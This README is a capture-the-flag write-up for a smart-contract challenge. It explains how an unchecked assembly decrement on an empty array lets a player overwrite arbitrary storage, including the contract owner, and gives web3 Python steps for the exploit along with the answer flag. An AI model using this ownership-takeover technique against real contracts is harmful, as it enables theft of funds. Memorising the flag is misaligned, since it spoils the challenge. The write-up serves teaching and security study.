ESPILON-CTF-2026-Writeups/Web3/TACHIBANA_FIRMWARE_REGISTRY/README.md

86 lines
2.3 KiB
Markdown

# TACHIBANA_FIRMWARE_REGISTRY — Solution
**Difficulty:** Insane | **Category:** Web3 | **Flag:** `ESPILON{t4ch1b4n4_fuzz_f1rmw4r3_r3g1stry}`
## Overview
Smart contract challenge. The contract has a `_trimStaleEntries()` function that
uses raw assembly to decrement `firmwareHashes.length`. When the array is **empty**
(length=0), the assembly `sub(len, 1)` wraps to `2^256-1` — granting write access
to all `2^256` storage slots via `modifyFirmware()`.
## Architecture
- Port 1337/tcp: console (commands: `info`, `abi`, `check`)
- Port 8545/tcp: Ethereum JSON-RPC node
## Step 1 — Register as operator
```python
contract.functions.registerOperator()
```
Verify `firmwareHashes.length == 0` (array is empty — prerequisite for the underflow).
## Step 2 — Trigger the underflow
```python
contract.functions.auditFirmware()
# Internally: assembly { sstore(slot, sub(len, 1)) }
# With len=0 → new length = 2^256 - 1
```
## Step 3 — Compute the target storage index
Solidity dynamic arrays store elements at `keccak256(abi.encode(slot)) + index`.
`firmwareHashes` is at slot 2. To write to slot 0 (owner):
```python
from web3 import Web3
array_base = int.from_bytes(Web3.keccak(b'\x00' * 31 + b'\x02'), "big")
# base + target_index ≡ 0 (mod 2^256)
target_index = (2**256) - array_base
```
## Step 4 — Overwrite the owner
```python
player_as_bytes32 = b'\x00' * 12 + bytes.fromhex(player.address[2:])
contract.functions.modifyFirmware(target_index, player_as_bytes32)
# slot 0 now contains our address → we are the new owner
```
## Step 5 — Trigger emergency override as new owner
```python
contract.functions.triggerEmergency()
```
## Step 6 — Get the flag
```text
check
```
## Automated Solver
```bash
python3 solve.py <host>
```
## Key Concepts
- **EVM unchecked arithmetic in assembly**: `sub(0, 1)` wraps to `2^256-1` even in Solidity ≥0.8 when using raw `assembly {}`
- **Dynamic array storage layout**: Elements stored at `keccak256(slot) + index`, enabling arbitrary storage writes via overflow
- **Fuzzing invariants**: A custom property `owner == deployer` would have caught this immediately
- **Storage slot arithmetic**: Computing wraparound index requires modular arithmetic over GF(2^256)
## Flag
`ESPILON{t4ch1b4n4_fuzz_f1rmw4r3_r3g1stry}`
## Author
Eun0us